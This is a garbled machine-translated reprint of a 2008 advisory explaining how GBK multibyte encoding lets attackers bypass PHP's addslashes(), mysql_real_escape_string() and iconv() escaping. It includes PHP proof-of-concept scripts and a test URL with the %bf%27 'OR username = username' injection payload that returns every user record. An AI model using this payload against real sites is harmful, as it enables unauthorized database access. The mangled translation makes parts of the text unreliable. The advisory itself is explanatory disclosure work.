PHP character encoding bypass vulnerability summary-vulnerability warning-the black bar safety net

2008-10-28T00:00:00
ID MYHACK58:62200820841
Type myhack58
Reporter 佚名
Modified 2008-10-28T00:00:00

Description

Transferred from: neo Original address: http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

In fact this stuff is one of the few hack has long been known, but not shared published. Some people are reluctant to share and prefer to rot in the ground, in addition some is used to profit. The vulnerability of the earliest 2 0 0 6 years are abroad used to discuss the database character set is set to GBK, 0xbf27 itself is not a valid GBK character, but after addslashes() after conversion

Becomes0xbf5c27, in front of the 0xbf5c is a valid GBK character, so 0xbf5c27 will be treated as a character 0xbf5c and a single quotation mark to processing, the results of the vulnerability on the contact

Hair.

mysql_real_escape_string() also has the same problem, but compared to the addslashes() it takes into account what character set to deal with, so you can use the phase

Should the character set to process characters. In MySQL there are two ways to change the default character set of the method.

Method one:

Change the mysql configuration file my. cnf

CODE:

[client] default-character-set=GBK

Method two:

When the connection is established using

CODE:

SET CHARACTER SET 'GBK'

Example: mysql_query("SET CHARACTER SET 'gbk'", $c);

The problem is the second method in changing the character set when mysql_real_escape_string() is not know and use the default character set processing resulting in addslashes() vulnerability

The following is from http://ilia. ws/archives/1 0 3-mysql_real_escape_string-versus-Prepared-Statements. html test code

<? php

$c = mysql_connect("localhost", "user", "pass"); mysql_select_db("database", $c);

// change our character set mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table mysql_query("CREATE TABLE users ( username VARCHAR(3 2) PRIMARY KEY, password VARCHAR(3 2) ) CHARACTER SET 'GBK'", $c); mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code $_POST['username'] = chr(0xbf) . chr(0x27) . 'OR username = username /*'; $_POST['password'] = 'anything';

// Proper escaping, we should be safe, right? $user = mysql_real_escape_string($_POST['username'], $c); $passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'"; $res = mysql_query($sql, $c); echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?& gt;

Looking at the above two trigger the vulnerability is the key to addslashes() in the Mysql configuration for GBK when you can trigger the vulnerability, and mysql_real_escape_string() is not

Know the character set of the case with the default character set for processing to generate vulnerability.

Following further analysis under the National recent vulnerabilities.

The problem appears in some character conversion functions, such as mb_convert_encoding()and iconv (), etc.

Published in 80sec on the instructions say 0xc127 like some of the characters and then be addslashes() handling into 0xc15c27 after, and after some character conversion function becomes 0×8 0 8 0 2 7, and so that after

addslashes() Plus The"\ \ "to fail, so that single quotation marks will also play a role. This resulted in the character injection vulnerability.

According to 80sec description, iconv()is not the problem, but after I used 0xbf27 test

$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk'); $id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']); $id3=iconv('gbk', 'utf-8', $_GET['id']); These are in the GPC open the case or will produce character injection vulnerabilities, test code is as follows:

<? php

$c = mysql_connect("localhost", "user", "pass"); mysql_select_db("database", $c);

// change our character set mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table mysql_query("CREATE TABLE users ( username VARCHAR(3 2) PRIMARY KEY, password VARCHAR(3 2) ) CHARACTER SET 'GBK'", $c); mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code //$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk'); $id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']); //$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'"; $res = mysql_query($sql, $c); echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?& gt;

Test case http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

Afterword, where not only is the%bf, and many other characters can also be caused by the same vulnerability, we can do yourself a test search, here are zwell article mentioned a analysis

http://hackme.ntobjectives.com/sql_inject/login_addslashes.php the. Encoding problem inxssis also advantageous to use value, for details see I

Early reprint of an article Bypassing script filters with variable-width encodings is.

Finally the hair under the advertising umbrella Network http://www. safe3. cn/provide paid Server Security Services.